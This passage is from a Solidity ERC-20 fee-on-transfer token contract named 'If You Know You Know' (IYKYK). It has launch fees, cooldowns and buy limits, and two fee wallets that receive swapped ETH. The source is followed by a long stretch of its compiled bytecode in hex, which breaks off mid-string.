FeeAddress2Updated(address _feewallet2); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable feeAddress1, address payable feeAddress2) { _feeAddress1 = feeAddress1; _feeAddress2 = feeAddress2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[feeAddress1] = true; _isExcludedFromFee[feeAddress2] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); // set to false for no fee on buys bool takeFee = true; if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { _taxFee = 1; _teamFee = 9; require(_tradingOpen, "Trading not yet enabled."); if(_maxHeldTokensEnd > block.timestamp) { require(amount.add(balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); } if(_cooldownEnabled) { if(_buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (30 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && _tradingOpen) { // take fee on sells takeFee = true; _taxFee = 1; _teamFee = 9; // higher fee on sells within first timeframe post-launch if(_launchFeeEnd > block.timestamp) { _taxFee = 3; _teamFee = 12; } if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } if(_isExcludedFromFee[from] || _isExcludedFromFee[to] || !_useFees){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddress1.transfer(amount.div(2)); _feeAddress2.transfer(amount.div(2)); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function openTrading() external onlyOwner() { require(!_tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _maxBuyAmount = 5000000000 * 10**9; // 1,000,000,000,000 total tokens // 50,000,000,000 = 5% of total token count _maxHeldTokens = 50000000000 * 10**9; _buyLimitEnd = block.timestamp + (120 seconds); _maxHeldTokensEnd = block.timestamp + (12 hours); _launchFeeEnd = block.timestamp + (1 hours); _tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function manualswap() external { require(_msgSender() == _feeAddress1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddress1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function toggleFees() external { require(_msgSender() == _feeAddress1); _useFees = false; emit UseFeesBooleanUpdated(_useFees); } function updateFeeAddress1(address newAddress) external { require(_msgSender() == _feeAddress1); _feeAddress1 = payable(newAddress); emit FeeAddress1Updated(_feeAddress1); } function updateFeeAddress2(address newAddress) external { require(_msgSender() == _feeAddress2); _feeAddress2 = payable(newAddress); emit FeeAddress2Updated(_feeAddress2); } function setCooldownEnabled() external { require(_msgSender() == _feeAddress1); _cooldownEnabled = !_cooldownEnabled; emit CooldownEnabledUpdated(_cooldownEnabled); } function cooldownEnabled() public view returns (bool) { return _cooldownEnabled; } function balancePool() public view returns (uint) { return balanceOf(uniswapV2Pair); } function balanceContract() public view returns (uint) { return balanceOf(address(this)); } function usingFees() public view returns (bool) { return _useFees; } function whatIsFeeAddress1() public view returns (address) { return _feeAddress1; } function whatIsFeeAddress2() public view returns (address) { return _feeAddress2; } }
0x60806040526004361061014f5760003560e01c806370eb843b116100b6578063c3c8cd801161006f578063c3c8cd801461047d578063c4a8814f14610494578063c9567bf9146104bf578063dd62ed3e146104d6578063ddf5451214610513578063e63aff631461052a57610156565b806370eb843b1461037d578063715018a6146103a85780638da5cb5b146103bf57806395d89b41146103ea578063a9059cbb14610415578063a985ceef1461045257610156565b80632e82b8f3116101085780632e82b8f31461027f578063313ce567146102aa578063322a5e5f146102d557806350901617146103005780636fc3eaec1461032957806370a082311461034057610156565b806306fdde031461015b5780630802d2f6146101865780630853b3dc146101af578063095ea7b3146101da57806318160ddd1461021757806323b872dd1461024257610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610541565b60405161017d9190612ffd565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190612a66565b61057e565b005b3480156101bb57600080fd5b506101c461067c565b6040516101d19190612ef9565b60405180910390f35b3480156101e657600080fd5b5061020160048036038101906101fc9190612b43565b6106a6565b60405161020e9190612fe2565b60405180910390f35b34801561022357600080fd5b5061022c6106c4565b60405161023991906131df565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612af4565b6106d5565b6040516102769190612fe2565b60405180910390f35b34801561028b57600080fd5b506102946107ae565b6040516102a19190612fe2565b60405180910390f35b3480156102b657600080fd5b506102bf6107c5565b6040516102cc9190613254565b60405180910390f35b3480156102e157600080fd5b506102ea6107ce565b6040516102f791906131df565b60405180910390f35b34801561030c57600080fd5b5061032760048036038101906103229190612a66565b6107de565b005b34801561033557600080fd5b5061033e6108dc565b005b34801561034c57600080fd5b5061036760048036038101906103629190612a66565b61094e565b60405161037491906131df565b60405180910390f35b34801561038957600080fd5b5061039261099f565b60405161039f91906131df565b60405180910390f35b3480156103b457600080fd5b506103bd6109d1565b005b3480156103cb57600080fd5b506103d4610b24565b6040516103e19190612ef9565b60405180910390f35b3480156103f657600080fd5b506103ff610b4d565b60405161040c9190612ffd565b60405180910390f35b34801561042157600080fd5b5061043c60048036038101906104379190612b43565b610b8a565b6040516104499190612fe2565b60405180910390f35b34801561045e57600080fd5b50610467610ba8565b6040516104749190612fe2565b60405180910390f35b34801561048957600080fd5b50610492610bbf565b005b3480156104a057600080fd5b506104a9610c39565b6040516104b69190612ef9565b60405180910390f35b3480156104cb57600080fd5b506104d4610c63565b005b3480156104e257600080fd5b506104fd60048036038101906104f89190612ab8565b6111d4565b60405161050a91906131df565b60405180910390f35b34801561051f57600080fd5b5061052861125b565b005b34801561053657600080fd5b5061053f61131f565b005b60606040518060400160405280601481526020017f496620596f75204b6e6f7720596f75204b6e6f77000000000000000000000000815250905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105bf6113f2565b73ffffffffffffffffffffffffffffffffffffffff16146105df57600080fd5b80601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516106719190612f14565b60405180910390a150565b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60006106ba6106b36113f2565b84846113fa565b6001905092915050565b6000683635c9adc5dea00000905090565b60006106e28484846115c5565b6107a3846106ee6113f2565b61079e8560405180606001604052806028815260200161391860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107546113f2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e0c9092919063ffffffff16565b6113fa565b600190509392505050565b6000601360179054906101000a900460ff16905090565b60006009905090565b60006107d93061094e565b905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661081f6113f2565b73ffffffffffffffffffffffffffffffffffffffff161461083f57600080fd5b80601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040516108d19190612f14565b60405180910390a150565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661091d6113f2565b73ffffffffffffffffffffffffffffffffffffffff161461093d57600080fd5b600047905061094b81611e70565b50565b6000610998600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f6b565b9050919050565b60006109cc601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661094e565b905090565b6109d96113f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5d906130ff565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f49594b594b000000000000000000000000000000000000000000000000000000815250905090565b6000610b9e610b976113f2565b84846115c5565b6001905092915050565b6000601360159054906101000a900460ff16905090565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c006113f2565b73ffffffffffffffffffffffffffffffffffffffff1614610c2057600080fd5b6000610c2b3061094e565b9050610c3681611fd9565b50565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c6b6113f2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cef906130ff565b60405180910390fd5b601360149054906101000a900460ff1615610d48576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3f9061319f565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610dd830601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006113fa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1e57600080fd5b505afa158015610e32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e569190612a8f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610eb857600080fd5b505afa158015610ecc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ef09190612a8f565b6040518363ffffffff1660e01b8152600401610f0d929190612f2f565b602060405180830381600087803b158015610f2757600080fd5b505af1158015610f3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5f9190612a8f565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610fe83061094e565b600080610ff3610b24565b426040518863ffffffff1660e01b815260040161101596959493929190612f81565b6060604051808303818588803b15801561102e57600080fd5b505af1158015611042573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110679190612ba8565b505050674563918244f40000600e819055506802b5e3af16b1880000600f8190555060784261109691906132c4565b60148190555061a8c0426110aa91906132c4565b601581905550610e10426110be91906132c4565b600d819055506001601360146101000a81548160ff021916908315150217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161117e929190612f58565b602060405180830381600087803b15801561119857600080fd5b505af11580156111ac573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111d09190612b7f565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661129c6113f2565b73ffffffffffffffffffffffffffffffffffffffff16146112bc57600080fd5b6000601360176101000a81548160ff0219169083151502179055507f875ab13664b130e9f02c6927ebda6944d90a0f0db6c0fdb7cc7ec5f85ed630b8601360179054906101000a900460ff166040516113159190612fe2565b60405180910390a1565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113606113f2565b73ffffffffffffffffffffffffffffffffffffffff161461138057600080fd5b601360159054906101000a900460ff1615601360156101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f28706601360159054906101000a900460ff166040516113e89190612fe2565b60405180910390a1565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561146a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114619061317f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114d19061305f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115b891906131df565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611635576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162c9061313f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156116a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169c9061301f565b60405180910390fd5b600081116116e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116df9061311f565b60405180910390fd5b6000600190506116f6610b24565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156117645750611734610b24565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d3757601360159054906101000a900460ff161561186a57600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020160009054906101000a900460ff16611869576040518060600160405280600081526020016000815260200160011515815250600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082015181600001556020820151816001015560408201518160020160006101000a81548160ff0219169083151502179055509050505b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156119155750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561196b5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611baa5760016009819055506009600a81905550601360149054906101000a900460ff166119cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c6906131bf565b60405180910390fd5b426015541115611a3957600f546119f76119e88561094e565b846122d390919063ffffffff16565b1115611a38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2f9061315f565b60405180910390fd5b5b601360159054906101000a900460ff1615611b4057426014541115611b3f57600e54821115611a6757600080fd5b42600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015410611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae29061307f565b60405180910390fd5b601e42611af891906132c4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b5b601360159054906101000a900460ff1615611ba957600f42611b6291906132c4565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b6000611bb53061094e565b9050601360169054906101000a900460ff16158015611c225750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c3a5750601360149054906101000a900460ff165b15611d35576001915060016009819055506009600a8190555042600d541115611c6e576003600981905550600c600a819055505b601360159054906101000a900460ff1615611d085742600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410611d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cfe906130bf565b60405180910390fd5b5b6000811115611d1b57611d1a81611fd9565b5b60004790506000811115611d3357611d3247611e70565b5b505b505b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611dd85750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611df05750601360179054906101000a900460ff16155b15611dfa57600090505b611e0684848484612331565b50505050565b6000838311158290611e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4b9190612ffd565b60405180910390fd5b5060008385611e6391906133a5565b9050809150509392505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ec060028461235e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611eeb573d6000803e3d6000fd5b50601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611f3c60028461235e90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611f67573d6000803e3d6000fd5b5050565b6000600754821115611fb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa99061303f565b60405180910390fd5b6000611fbc6123a8565b9050611fd1818461235e90919063ffffffff16565b915050919050565b6001601360166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612037577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156120655781602001602082028036833780820191505090505b50905030816000815181106120a3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561214557600080fd5b505afa158015612159573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061217d9190612a8f565b816001815181106121b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061221e30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113fa565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122829594939291906131fa565b600060405180830381600087803b15801561229c57600080fd5b505af11580156122b0573d6000803e3d6000fd5b50505050506000601360166101000a81548160ff02191690831515021790555050565b60008082846122e291906132c4565b905083811015612327576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161231e9061309f565b60405180910390fd5b8091505092915050565b8061233f5761233e6123d3565b5b61234a848484612416565b80612358576123576125e1565b5b50505050565b60006123a083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506125f5565b905092915050565b60008060006123b5612658565b915091506123cc818361235e90919063ffffffff16565b9250505090565b60006009541480156123e757506000600a54145b156123f157612414565b600954600b81905550600a54600c8190555060006009819055506000600a819055505b565b600080600080600080612428876126ba565b95509550955095509550955061248686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461272290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061251b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506125678161276c565b6125718483612829565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516125ce91906131df565b60405180910390a3505050505050505050565b600b54600981905550600c54600a81905550565b6000808311829061263c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126339190612ffd565b60405180910390fd5b506000838561264b919061331a565b9050809150509392505050565b600080600060075490506000683635c9adc5dea00000905061268e683635c9adc5dea0000060075461235e90919063ffffffff16565b8210156126ad57600754683635c9adc5dea000009350935050506126b6565b81819350935050505b9091565b60008060008060008060008060006126d78a600954600a54612863565b92509250925060006126e76123a8565b905060008060006126fa8e8787876128f9565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061276483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611e0c565b905092915050565b60006127766123a8565b9050600061278d828461298290919063ffffffff16565b90506127e181600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122d390919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61283e8260075461272290919063ffffffff16565b600781905550612859816008546122d390919063ffffffff16565b6008819055505050565b60008060008061288f6064612881888a61298290919063ffffffff16565b61235e90919063ffffffff16565b905060006128b960646128ab888b61298290919063ffffffff16565b61235e90919063ffffffff16565b905060006128e2826128d4858c61272290919063ffffffff16565b61272290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612912858961298290919063ffffffff16565b90506000612929868961298290919063ffffffff16565b90506000612940878961298290919063ffffffff16565b905060006129698261295b858761272290919063ffffffff16565b61272290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60008083141561299557600090506129f7565b600082846129a3919061334b565b90508284826129b2919061331a565b146129f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e9906130df565b60405180910390fd5b809150505b92915050565b600081359050612a0c816138d2565b92915050565b600081519050612a21816138d2565b92915050565b600081519050612a36816138e9565b92915050565b600081359050612a4b81613900565b92915050565b600081519050612a6081613900565b92915050565b600060208284031215612a7857600080fd5b6000612a86848285016129fd565b91505092915050565b600060208284031215612aa157600080fd5b6000612aaf84828501612a12565b91505092915050565b60008060408385031215612acb57600080fd5b6000612ad9858286016129fd565b9250506020612aea858286016129fd565b9150509250929050565b600080600060608486031215612b0957600080fd5b6000612b17868287016129fd565b9350506020612b28868287016129fd565b9250506040612b3986828701612a3c565b9150509250925092565b60008060408385031215612b5657600080fd5b6000612b64858286016129fd565b9250506020612b7585828601612a3c565b9150509250929050565b600060208284031215612b9157600080fd5b6000612b9f84828501612a27565b91505092915050565b600080600060608486031215612bbd57600080fd5b6000612bcb86828701612a51565b9350506020612bdc86828701612a51565b9250506040612bed86828701612a51565b9150509250925092565b6000612c038383612c1e565b60208301905092915050565b612c188161342e565b82525050565b612c27816133d9565b82525050565b612c36816133d9565b82525050565b6000612c478261327f565b612c5181856132a2565b9350612c5c8361326f565b8060005b83811015612c8d578151612c748882612bf7565b9750612c7f83613295565b925050600181019050612c60565b5085935050505092915050565b612ca3816133eb565b82525050565b612cb281613440565b82525050565b6000612cc38261328a565b612ccd81856132b3565b9350612cdd818560208601613476565b612ce681613507565b840191505092915050565b6000612cfe6023836132b3565b9150612d0982613518565b604082019050919050565b6000612d21602a836132b3565b9150612d2c82613567565b604082019050919050565b6000612d446022836132b3565b9150612d4f826135b6565b604082019050919050565b6000612d676022836132b3565b9150612d7282613605565b604082019050919050565b6000612d8a601b836132b3565b9150612d9582613654565b602082019050919050565b6000612dad6023836132b3565b9150612db88261367d565b604082019050919050565b6000612dd06021836132b3565b9150612ddb826136cc565b604082019050919050565b6000612df36020836132b3565b9150612dfe8261371b565b602082019050919050565b6000612e166029836132b3565b9150612e2182613744565b604082019050919050565b6000612e396025836132b3565b9150612e4482613793565b604082019050919050565b60